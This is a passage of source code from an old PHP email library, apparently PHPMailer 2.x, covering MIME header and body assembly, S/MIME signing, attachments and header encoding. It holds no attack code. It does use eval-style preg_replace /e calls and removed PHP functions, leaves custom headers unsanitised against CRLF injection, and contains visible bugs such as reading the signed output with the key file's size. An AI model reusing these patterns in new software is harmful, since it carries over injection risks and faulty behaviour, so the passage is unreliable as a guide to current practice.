2227 }
2228
2229 if(count($this->ReplyTo) > 0) {
2230 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2231 }
2232
2233 /* mail() sets the subject itself */
2234 if($this->Mailer != 'mail') {
2235 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2236 }
2237
2238 if($this->MessageID != '') {
2239 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2240 } else {
2241 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2242 }
2243 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2244 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2245
2246 if($this->ConfirmReadingTo != '') {
2247 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2248 }
2249
2250 // Add custom headers
2251 for($index = 0; $index < count($this->CustomHeader); $index++) {
2252 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2253 }
2254 if (!$this->sign_key_file) {
2255 $result .= $this->HeaderLine('MIME-Version', '1.0');
2256 $result .= $this->GetMailMIME();
2257 }
2258
2259 return $result;
2260 }
2261
2262 /**
2263 * Returns the message MIME.
2264 * @access private
2265 * @return string
2266 */
2267 function GetMailMIME() {
2268 $result = '';
2269 switch($this->message_type) {
2270 case 'plain':
2271 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2272 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2273 break;
2274 case 'attachments':
2275 /* fall through */
2276 case 'alt_attachments':
2277 if($this->InlineImageExists()){
2278 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2279 } else {
2280 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2281 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2282 }
2283 break;
2284 case 'alt':
2285 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2286 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2287 break;
2288 }
2289
2290 if($this->Mailer != 'mail') {
2291 $result .= $this->LE.$this->LE;
2292 }
2293
2294 return $result;
2295 }
2296
2297 /**
2298 * Assembles the message body. Returns an empty string on failure.
2299 * @access private
2300 * @return string
2301 */
2302 function CreateBody() {
2303 $result = '';
2304 if ($this->sign_key_file) {
2305 $result .= $this->GetMailMIME();
2306 }
2307
2308 $this->SetWordWrap();
2309
2310 switch($this->message_type) {
2311 case 'alt':
2312 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2313 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2314 $result .= $this->LE.$this->LE;
2315 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2316 $result .= $this->EncodeString($this->Body, $this->Encoding);
2317 $result .= $this->LE.$this->LE;
2318 $result .= $this->EndBoundary($this->boundary[1]);
2319 break;
2320 case 'plain':
2321 $result .= $this->EncodeString($this->Body, $this->Encoding);
2322 break;
2323 case 'attachments':
2324 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2325 $result .= $this->EncodeString($this->Body, $this->Encoding);
2326 $result .= $this->LE;
2327 $result .= $this->AttachAll();
2328 break;
2329 case 'alt_attachments':
2330 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2331 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2332 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2333 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2334 $result .= $this->LE.$this->LE;
2335 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2336 $result .= $this->EncodeString($this->Body, $this->Encoding);
2337 $result .= $this->LE.$this->LE;
2338 $result .= $this->EndBoundary($this->boundary[2]);
2339 $result .= $this->AttachAll();
2340 break;
2341 }
2342
2343 if($this->IsError()) {
2344 $result = '';
2345 } else if ($this->sign_key_file) {
2346 $file = tempnam("", "mail");
2347 $fp = fopen($file, "w");
2348 fwrite($fp, $result);
2349 fclose($fp);
2350 $signed = tempnam("", "signed");
2351
2352 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2353 $fp = fopen($signed, "r");
2354 $result = fread($fp, filesize($this->sign_key_file));
2355 fclose($fp);
2356 } else {
2357 $this->SetError($this->Lang("signing").openssl_error_string());
2358 $result = '';
2359 }
2360
2361 unlink($file);
2362 unlink($signed);
2363 }
2364
2365 return $result;
2366 }
2367
2368 /**
2369 * Returns the start of a message boundary.
2370 * @access private
2371 */
2372 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2373 $result = '';
2374 if($charSet == '') {
2375 $charSet = $this->CharSet;
2376 }
2377 if($contentType == '') {
2378 $contentType = $this->ContentType;
2379 }
2380 if($encoding == '') {
2381 $encoding = $this->Encoding;
2382 }
2383 $result .= $this->TextLine('--' . $boundary);
2384 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2385 $result .= $this->LE;
2386 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2387 $result .= $this->LE;
2388
2389 return $result;
2390 }
2391
2392 /**
2393 * Returns the end of a message boundary.
2394 * @access private
2395 */
2396 function EndBoundary($boundary) {
2397 return $this->LE . '--' . $boundary . '--' . $this->LE;
2398 }
2399
2400 /**
2401 * Sets the message type.
2402 * @access private
2403 * @return void
2404 */
2405 function SetMessageType() {
2406 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2407 $this->message_type = 'plain';
2408 } else {
2409 if(count($this->attachment) > 0) {
2410 $this->message_type = 'attachments';
2411 }
2412 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2413 $this->message_type = 'alt';
2414 }
2415 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2416 $this->message_type = 'alt_attachments';
2417 }
2418 }
2419 }
2420
2421 /* Returns a formatted header line.
2422 * @access private
2423 * @return string
2424 */
2425 function HeaderLine($name, $value) {
2426 return $name . ': ' . $value . $this->LE;
2427 }
2428
2429 /**
2430 * Returns a formatted mail line.
2431 * @access private
2432 * @return string
2433 */
2434 function TextLine($value) {
2435 return $value . $this->LE;
2436 }
2437
2438 /////////////////////////////////////////////////
2439 // CLASS METHODS, ATTACHMENTS
2440 /////////////////////////////////////////////////
2441
2442 /**
2443 * Adds an attachment from a path on the filesystem.
2444 * Returns false if the file could not be found
2445 * or accessed.
2446 * @param string $path Path to the attachment.
2447 * @param string $name Overrides the attachment name.
2448 * @param string $encoding File encoding (see $Encoding).
2449 * @param string $type File extension (MIME) type.
2450 * @return bool
2451 */
2452 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2453 if(!@is_file($path)) {
2454 $this->SetError($this->Lang('file_access') . $path);
2455 return false;
2456 }
2457
2458 $filename = basename($path);
2459 if($name == '') {
2460 $name = $filename;
2461 }
2462
2463 $cur = count($this->attachment);
2464 $this->attachment[$cur][0] = $path;
2465 $this->attachment[$cur][1] = $filename;
2466 $this->attachment[$cur][2] = $name;
2467 $this->attachment[$cur][3] = $encoding;
2468 $this->attachment[$cur][4] = $type;
2469 $this->attachment[$cur][5] = false; // isStringAttachment
2470 $this->attachment[$cur][6] = 'attachment';
2471 $this->attachment[$cur][7] = 0;
2472
2473 return true;
2474 }
2475
2476 /**
2477 * Attaches all fs, string, and binary attachments to the message.
2478 * Returns an empty string on failure.
2479 * @access private
2480 * @return string
2481 */
2482 function AttachAll() {
2483 /* Return text of body */
2484 $mime = array();
2485
2486 /* Add all attachments */
2487 for($i = 0; $i < count($this->attachment); $i++) {
2488 /* Check for string attachment */
2489 $bString = $this->attachment[$i][5];
2490 if ($bString) {
2491 $string = $this->attachment[$i][0];
2492 } else {
2493 $path = $this->attachment[$i][0];
2494 }
2495
2496 $filename = $this->attachment[$i][1];
2497 $name = $this->attachment[$i][2];
2498 $encoding = $this->attachment[$i][3];
2499 $type = $this->attachment[$i][4];
2500 $disposition = $this->attachment[$i][6];
2501 $cid = $this->attachment[$i][7];
2502
2503 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2504 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2505 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2506
2507 if($disposition == 'inline') {
2508 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2509 }
2510
2511 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2512
2513 /* Encode as string attachment */
2514 if($bString) {
2515 $mime[] = $this->EncodeString($string, $encoding);
2516 if($this->IsError()) {
2517 return '';
2518 }
2519 $mime[] = $this->LE.$this->LE;
2520 } else {
2521 $mime[] = $this->EncodeFile($path, $encoding);
2522 if($this->IsError()) {
2523 return '';
2524 }
2525 $mime[] = $this->LE.$this->LE;
2526 }
2527 }
2528
2529 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2530
2531 return join('', $mime);
2532 }
2533
2534 /**
2535 * Encodes attachment in requested format. Returns an
2536 * empty string on failure.
2537 * @access private
2538 * @return string
2539 */
2540 function EncodeFile ($path, $encoding = 'base64') {
2541 if(!@$fd = fopen($path, 'rb')) {
2542 $this->SetError($this->Lang('file_open') . $path);
2543 return '';
2544 }
2545 $magic_quotes = get_magic_quotes_runtime();
2546 set_magic_quotes_runtime(0);
2547 $file_buffer = fread($fd, filesize($path));
2548 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2549 fclose($fd);
2550 set_magic_quotes_runtime($magic_quotes);
2551
2552 return $file_buffer;
2553 }
2554
2555 /**
2556 * Encodes string to requested format. Returns an
2557 * empty string on failure.
2558 * @access private
2559 * @return string
2560 */
2561 function EncodeString ($str, $encoding = 'base64') {
2562 $encoded = '';
2563 switch(strtolower($encoding)) {
2564 case 'base64':
2565 /* chunk_split is found in PHP >= 3.0.6 */
2566 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2567 break;
2568 case '7bit':
2569 case '8bit':
2570 $encoded = $this->FixEOL($str);
2571 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2572 $encoded .= $this->LE;
2573 break;
2574 case 'binary':
2575 $encoded = $str;
2576 break;
2577 case 'quoted-printable':
2578 $encoded = $this->EncodeQP($str);
2579 break;
2580 default:
2581 $this->SetError($this->Lang('encoding') . $encoding);
2582 break;
2583 }
2584 return $encoded;
2585 }
2586
2587 /**
2588 * Encode a header string to best of Q, B, quoted or none.
2589 * @access private
2590 * @return string
2591 */
2592 function EncodeHeader ($str, $position = 'text') {
2593 $x = 0;
2594
2595 switch (strtolower($position)) {
2596 case 'phrase':
2597 if (!preg_match('/[\200-\377]/', $str)) {
2598 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2599 $encoded = addcslashes($str, "\0..\37\177\\\"");
2600 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2601 return ($encoded);
2602 } else {
2603 return ("\"$encoded\"");
2604 }
2605 }
2606 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2607 break;
2608 case 'comment':
2609 $x = preg_match_all('/[()"]/', $str, $matches);
2610 /* Fall-through */
2611 case 'text':
2612 default:
2613 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2614 break;
2615 }
2616
2617 if ($x == 0) {
2618 return ($str);
2619 }
2620
2621 $maxlen = 75 - 7 - strlen($this->CharSet);
2622 /* Try to select the encoding which should produce the shortest output */
2623 if (strlen($str)/3 < $x) {
2624 $encoding = 'B';
2625 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2626 // Use a custom function which correctly encodes and wraps long
2627 // multibyte strings without breaking lines within a character
2628 $encoded = $this->Base64EncodeWrapMB($str);
2629 } else {
2630 $encoded = base64_encode($str);
2631 $maxlen -= $maxlen % 4;
2632 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2633 }
2634 } else {
2635 $encoding = 'Q';
2636 $encoded = $this->EncodeQ($str, $position);
2637 $encoded = $this->WrapText($encoded, $maxlen, true);
2638 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2639 }
2640
2641 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2642 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2643
2644 return $encoded;
2645 }
2646
2647 /**
2648 * Checks if a string contains multibyte characters.
2649 * @access private
2650 * @param string $str multi-byte text to wrap encode
2651 * @return bool
2652 */
2653 function HasMultiBytes($str) {
2654 if (function_exists('mb_strlen')) {
2655 return (strlen($str) > mb_strlen($str, $this->CharSet));
2656 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2657 return False;
2658 }
2659 }
2660
2661 /**
2662 * Correctly encodes and wraps long multibyte strings for mail headers
2663 * without breaking lines within a character.
2664 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2665 * @access private
2666 * @param string $str multi-byte text to wrap encode
2667 * @return string
2668 */
2669 function Base64EncodeWrapMB($str) {
2670 $start = "=?".$this->CharSet."?B?";
2671 $end = "?=";
2672 $encoded = "";
2673
2674 $mb_length = mb_strlen($str, $this->CharSet);
2675 // Each line must have length <= 75, including $start and $end
2676 $length = 75 - strlen($start) - strlen($end);
2677 // Average multi-byte ratio
2678 $ratio = $mb_length / strlen($str);
2679 // Base64 has a 4:3 ratio
2680 $offset = $avgLength = floor($length * $ratio * .75);
2681
2682 for ($i = 0; $i < $mb_length; $i += $offset) {
2683 $lookBack = 0;
2684
2685 do {
2686 $offset = $avgLength - $lookBack;
2687 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2688 $chunk = base64_encode($chunk);
2689 $lookBack++;
2690 }
2691 while (strlen($chunk) > $length);
2692
2693 $encoded .= $chunk . $this->LE;
2694 }
2695
2696 // Chomp the last linefeed
2697 $encoded = substr($encoded, 0, -strlen($this->LE));
2698 return $encoded;
2699 }
2700
2701 /**
2702 * Encode string to quoted-printable.
2703 * @access private
2704 * @return string
2705 */
2706 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2707 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2708 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2709 $eol = "\r\n";
2710 $escape = '=';
2711 $output = '';
2712 while( list(, $line) = each($lines) ) {
2713 $linlen = strlen($line);
2714 $newline = '';
2715 for($i = 0; $i < $linlen; $i++) {
2716 $c = substr( $line, $i, 1 );
2717 $dec = ord( $c );
2718 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2719 $c = '=2E';
2720 }
2721 if ( $dec == 32 ) {
2722 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2723 $c = '=20';
2724 } else if ( $space_conv ) {
2725 $c = '=20';
2726 }
2727 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2728 $h2 = floor($dec/16);
2729 $h1 = floor($dec%16);
2730 $c = $escape.$hex[$h2].$hex[$h1];
2731 }
2732 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2733 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2734 $newline = '';
2735 // check if newline first character will be point or not
2736 if ( $dec == 46 ) {
2737 $c = '=2E';
2738 }
2739 }
2740 $newline .= $c;
2741 } // end of for
2742 $output .= $newline.$eol;
2743 } // end of while
2744 return trim($output);
2745 }
2746
2747 /**
2748 * Encode string to q encoding.
2749 * @access private
2750 * @return string
2751 */
2752 function EncodeQ ($str, $position = 'text') {
2753 /* There should not be any EOL in the string */
2754 $encoded = preg_replace("[\r\n]", '', $str);
2755
2756 switch (strtolower($position)) {
2757 case 'phrase':
2758 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2759 break;
2760 case 'comment':
2761 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2762 case 'text':
2763 default:
2764 /* Replace every high ascii, control =, ? and _ characters */
2765 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2766 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2767 break;
2768 }
2769
2770 /* Replace every spaces to _ (more readable than =20) */
2771 $encoded = str_replace(' ', '_', $encoded);
2772
2773 return $encoded;
2774 }
2775
2776 /**
2777 * Adds a string or binary attachment (non-filesystem) to the list.
2778 * This method can be used to attach ascii or binary data,
2779 * such as a BLOB record from a database.
2780 * @param string $string String attachment data.
2781 * @param string $filename Name of the attachment.
2782 * @param string $encoding File encoding (see $Encoding).
2783 * @param string $type File extension (MIME) type.
2784 * @return void
2785 */
2786 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2787 /* Append to $attachment array */
2788 $cur = count($this->attachment);
2789 $this->attachment[$cur][0] = $string;
2790 $this->attachment[$cur][1] = $filename;
2791 $this->attachment[$cur][2] = $filename;
2792 $this->attachment[$cur][3] = $encoding;
2793 $this->attachment[$cur][4] = $type;
2794 $this->attachment[$cur][5] = true; // isString
2795 $this->attachment[$cur][6] = 'attachment';
2796 $this->attachment[$cur][7] = 0;
2797 }
2798
2799 /**
2800 * Adds an embedded attachment. This can include images, sounds, and
2801 * just about any other document. Make sure to set the $type to an
2802 * image type. For JPEG images use "image/jpeg" and for GIF images
2803 * use "image/gif".
2804 * @param string $path Path to the attachment.
2805 * @param string $cid Content ID of the attachment. Use this to identify
2806 * the Id for accessing the image in an HTML form.
2807 * @param string $name Overrides the attachment name.
2808 * @param string $encoding File encoding (see $Encoding).
2809 * @param string $type File extension (MIME) type.
2810 * @return bool
2811 */
2812 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2813
2814 if(!@is_file($path)) {
2815 $this->SetError($this->Lang('file_access') . $path);
2816 return false;
2817 }
2818
2819 $filename = basename($path);
2820 if($name == '') {
2821 $name = $filename;
2822 }
2823
2824 /* Append to $attachment array */
2825 $cur = count($this->attachment);
2826 $this->attachment[$cur][0] = $path;
2827 $this->attachment[$cur][1] = $filename;
2828 $this->attachment[$cur][2] = $name;
2829 $this->attachment[$cur][3] = $encoding;
2830 $this->attachment[$cur][4] = $type;
2831 $this->attachment[$cur][5] = false;
2832 $this->attachment[$cur][6] = 'inline';
2833 $this->attachment[$cur][7] = $cid;
2834
2835 return true;
2836 }
2837
2838 /**
2839 * Returns true if an inline attachment is present.
2840 * @access private
2841 * @return bool
2842 */
2843 function InlineImageExists() {
2844 $result = false;
2845 for($i = 0; $i < count($this->attachment); $i++) {
2846 if($this->attachment[$i][6] == 'inline') {
2847 $result = true;
2848 break;
2849 }
2850 }
2851
2852 return $result;
2853 }
2854
2855 /////////////////////////////////////////////////
2856 // CLASS METHODS, MESSAGE RESET
2857 /////////////////////////////////////////////////
2858
2859 /**
2860 * Clears all recipients assigned in the TO array. Returns void.
2861 * @return void
2862 */
2863 function ClearAddresses() {
2864 $this->to = array();
2865 }
2866
2867 /**
2868 * Clears all recipients assigned in the CC array. Returns void.
2869 * @return void
2870 */
2871 function ClearCCs() {
2872 $this->cc = array();
2873 }
2874
2875 /**
2876 * Clears all recipients assigned in the BCC array. Returns void.
2877 * @return void
2878 */
2879 function ClearBCCs() {
2880 $this->bcc = array();
2881 }
2882
2883 /**
2884 * Clears all recipients assigned in the ReplyTo array. Returns void.
2885 * @return void
2886 */
2887 function ClearReplyTos() {
2888 $this->ReplyTo = array();
2889 }
2890
2891 /**
2892 * Clears all recipients assigned in the TO, CC and BCC
2893 * array. Returns void.
2894 * @return void
2895 */
2896 function ClearAllRecipients() {
2897 $this->to = array();
2898 $this->cc = array();
2899 $this->bcc = array();
2900 }
2901
2902 /**
2903 * Clears all previously set filesystem, string, and binary
2904 * attachments. Returns void.
2905 * @return void
2906 */
2907 function ClearAttachments() {
2908 $this->attachment = array();
2909 }
2910
2911 /**
2912 * Clears all custom headers. Returns void.
2913 * @return void
2914 */
2915 function ClearCustomHeaders() {
2916 $this->CustomHeader = array();
2917 }
2918
2919 /////////////////////////////////////////////////
2920 // CLASS METHODS, MISCELLANEOUS
2921 /////////////////////////////////////////////////
2922
2923 /**
2924 * Adds the error message to the error container.
2925 * Returns void.
2926 * @access private
2927 * @return void
2928 */
2929 function SetError($msg) {
2930 $this->error_count++;
2931 $this->ErrorInfo = $msg;
2932 }
2933
2934 /**
2935 * Returns the proper RFC 822 formatted date.
2936 * @access private
2937 * @return string
2938 */
2939 function RFCDate() {
2940 $tz = date('Z');
2941 $tzs = ($tz < 0) ? '-' : '+';
2942 $tz = abs($tz);
2943 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2944 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2945
2946 return $result;
2947 }
2948
2949 /**
2950 * Returns the appropriate server variable. Should work with both
2951 * PHP 4.1.0+ as well as older versions. Returns an empty string
2952 * if nothing is found.
2953 * @access private
2954 * @return mixed
2955 */
2956 function ServerVar($varName) {
2957 global $HTTP_SERVER_VARS;
2958 global $HTTP_ENV_VARS;
2959
2960 if(!isset($_SERVER)) {
2961 $_SERVER = $HTTP_SERVER_VARS;
2962 if(!isset($_SERVER['REMOTE_ADDR'])) {
2963 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2964 }
2965 }
2966
2967 if(isset($_SERVER[$varName])) {
2968 return $_SERVER[$varName];
2969 } else {
2970 return '';
2971 }
2972 }
2973
2974 /**
2975 * Returns the server hostname or 'localhost.localdomain' if unknown.
2976 * @access private
2977 * @return string
2978 */
2979 function ServerHostname() {
2980 if ($this->Hostname != '') {
2981 $result = $this->Hostname;
2982 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2983 $result = $this->ServerVar('SERVER_NAME');
2984 } else {
2985 $result = 'localhost.localdomain';
2986 }
2987
2988 return $result;
2989 }
2990
2991 /**
2992 * Returns a message in the appropriate language.
2993 * @access private
2994 * @return string
2995 */
2996 function Lang($key) {
2997 if(count($this->language) < 1) {
2998 $this->SetLanguage('en'); // set the default language
2999 }
3000
3001 if(isset($this->language[$key])) {
3002 return $this->language[$key];
3003 } else {
3004 return 'Language string failed to load: ' . $key;
3005 }
3006 }
3007
3008 /**
3009 * Returns true if an error occurred.
3010 * @return bool
3011 */
3012 function IsError() {
3013 return ($this->error_count > 0);
3014 }
3015
3016 /**
3017 * Changes every end of line from CR or LF to CRLF.
3018 * @access private
3019 * @return string
3020 */
3021 function FixEOL($str) {
3022 $str = str_replace("\r\n", "\n", $str);
3023 $str = str_replace("\r", "\n", $str);
3024 $str = str_replace("\n", $this->LE, $str);
3025 return $str;
3026 }
3027
3028 /**
3029 * Adds a custom header.
3030 * @return void
3031 */
3032 function AddCustomHeader($custom_header) {
3033 $this->CustomHeader[] = explode(':', $custom_header, 2);
3034 }
3035
3036 /**
3037 * Evaluates the message and returns modifications for inline images and backgrounds
3038 * @access public
3039 * @return $message
3040 */
3041 function MsgHTML($message,$basedir='') {
3042 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3043 if(isset($images[2])) {
3044 foreach($images[2] as $i => $url) {
3045 // do not change urls for absolute images (thanks to corvuscorax)
3046 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3047 $filename = basename($url);
3048 $directory = dirname($url);
3049 ($directory == '.')?$directory='':'';
3050 $cid = 'cid:' . md5($filename);
3051 $fileParts = split("\.", $filename);
3052 $ext = $fileParts[1];
3053 $mimeType = $this->_mime_types($ext);
3054 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3055 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3056 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3057 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3058 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3059 }
3060 }
3061 }
3062 }
3063 $this->IsHTML(true);
3064 $this->Body = $message;
3065 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3066 if ( !empty($textMsg) && empty($this->AltBody) ) {
3067 $this->AltBody = $textMsg;
3068 }
3069 if ( empty($this->AltBody) ) {
3070 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3071 }
3072 }
3073
3074 /**
3075 * Gets the mime type of the embedded or inline image
3076 * @access private
3077 * @return mime type of ext
3078 */
3079 function _mime_types($ext = '') {
3080 $mimes = array(
3081 'hqx' => 'application/mac-binhex40',
3082 'cpt' => 'application/mac-compactpro',
3083 'doc' => 'application/msword',
3084 'bin' => 'application/macbinary',
3085 'dms' => 'application/octet-stream',
3086 'lha' => 'application/octet-stream',
3087 'lzh' => 'application/octet-stream',
3088 'exe' => 'application/octet-stream',
3089 'class' => 'application/octet-stream',
3090 'psd' => 'application/octet-stream',
3091 'so' => 'application/octet-stream',
3092 'sea' => 'application/octet-stream',
3093 'dll' => 'application/octet-stream',
3094 'oda' => 'application/oda',
3095 'pdf' => 'application/pdf',
3096 'ai' => 'application/postscript',
3097 'eps' => 'application/postscript',
3098 'ps' => 'application/postscript',
3099 'smi' => 'application/smil',
3100 'smil' => 'application/smil',
3101 'mif' => 'application/vnd.mif',
3102 'xls' => 'application/vnd.ms-excel',
3103 'ppt' => 'application/vnd.ms-powerpoint',
3104 'wbxml' => 'application/vnd.wap.wbxml',
3105 'wmlc' => 'application/vnd.wap.wmlc',
3106 'dcr' => 'application/x-director',
3107 'dir' => 'application/x-director',
3108 'dxr' => 'application/x-director',
3109 'dvi' => 'application/x-dvi',
3110 'gtar' => 'application/x-gtar',
3111 'php' => 'application/x-httpd-php',
3112 'php4' => 'application/x-httpd-php',
3113 'php3' => 'application/x-httpd-php',
3114 'phtml' => 'application/x-httpd-php',
3115 'phps' => 'application/x-httpd-php-source',
3116 'js' => 'application/x-javascript',
3117 'swf' => 'application/x-shockwave-flash',
3118 'sit' => 'application/x-stuffit',
3119 'tar' => 'application/x-tar',
3120 'tgz' => 'application/x-tar',
3121 'xhtml' => 'application/xhtml+xml',
3122 'xht' => 'application/xhtml+xml',
3123 'zip' => 'application/zip',
3124 'mid' => 'audio/midi',
3125 'midi' => 'audio/midi',
3126 'mpga' => 'audio/mpeg',
3127 'mp2' => 'audio/mpeg',
3128 'mp3' => 'audio/mpeg',
3129 'aif' => 'audio/x-aiff',
3130 'aiff' => 'audio/x-aiff',
3131 'aifc' => 'audio/x-aiff',
3132 'ram' => 'audio/x-pn-realaudio',
3133 'rm' => 'audio/x-pn-realaudio',
3134 'rpm' => 'audio/x-pn-realaudio-plugin',
3135 'ra' => 'audio/x-realaudio',
3136 'rv' => 'video/vnd.rn-realvideo',
3137 'wav' => 'audio/x-wav',
3138 'bmp' => 'image/bmp',
3139 'gif' => 'image/gif',
3140 'jpeg' => 'image/jpeg',
3141 'jpg' => 'image/jpeg',
3142 'jpe' => 'image/jpeg',
3143 'png' => 'image/png',
3144 'tiff' => 'image/tiff',
3145 'tif' => 'image/tiff',
3146 'css' => 'text/css',
3147 'html' => 'text/html',
3148 'htm' => 'text/html',
3149 'shtml' => 'text/html',
3150 'txt' => 'text/plain',
3151 'text' => 'text/plain',
3152 'log' => 'text/plain',
3153 'rtx' => 'text/richtext',
3154 'rtf' => 'text/rtf',
3155 'xml' => 'text/xml',
3156 'xsl' => 'text/xml',
3157 'mpeg' => 'video/mpeg',
3158 'mpg' => 'video/mpeg',
3159 'mpe' => 'video/mpeg',
3160 'qt' => 'video/quicktime',
3161 'mov' => 'video/quicktime',
3162 'avi' => 'video/x-msvideo',
3163 'movie' => 'video/x-sgi-movie',
3164 'doc' => 'application/msword',
3165 'word' => 'application/msword',
3166 'xl' => 'application/excel',
3167 'eml' => 'message/rfc822'
3168 );
3169 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3170 }
3171
3172 /**
3173 * Set (or reset) Class Objects (variables)
3174 *
3175 * Usage Example:
3176 * $page->set('X-Priority', '3');
3177 *
3178 * @access public
3179 * @param string $name Parameter Name
3180 * @param mixed $value Parameter Value
3181 * NOTE: will not work with arrays, there are no arrays to set/reset
3182 */
3183 function set ( $name, $value = '' ) {
3184 if ( isset($this->$name) ) {
3185 $this->$name = $value;
3186 } else {
3187 $this->SetError('Cannot set or reset variable ' . $name);
3188 return false;
3189 }
3190 }
3191
3192 /**
3193 * Read a file from a supplied filename and return it.
3194 *
3195 * @access public
3196 * @param string $filename Parameter File Name
3197 */
3198 function getFile($filename) {
3199 $return = '';
3200 if ($fp = fopen($filename, 'rb')) {
3201 while (!feof($fp)) {
3202 $return .= fread($fp, 1024);
3203 }
3204 fclose($fp);
3205 return $return;
3206 } else {
3207 return false;
3208 }
3209 }
3210
3211 /**
3212 * Strips newlines to prevent header injection.
3213 * @access private
3214 * @param string $str String
3215 * @return string
3216 */
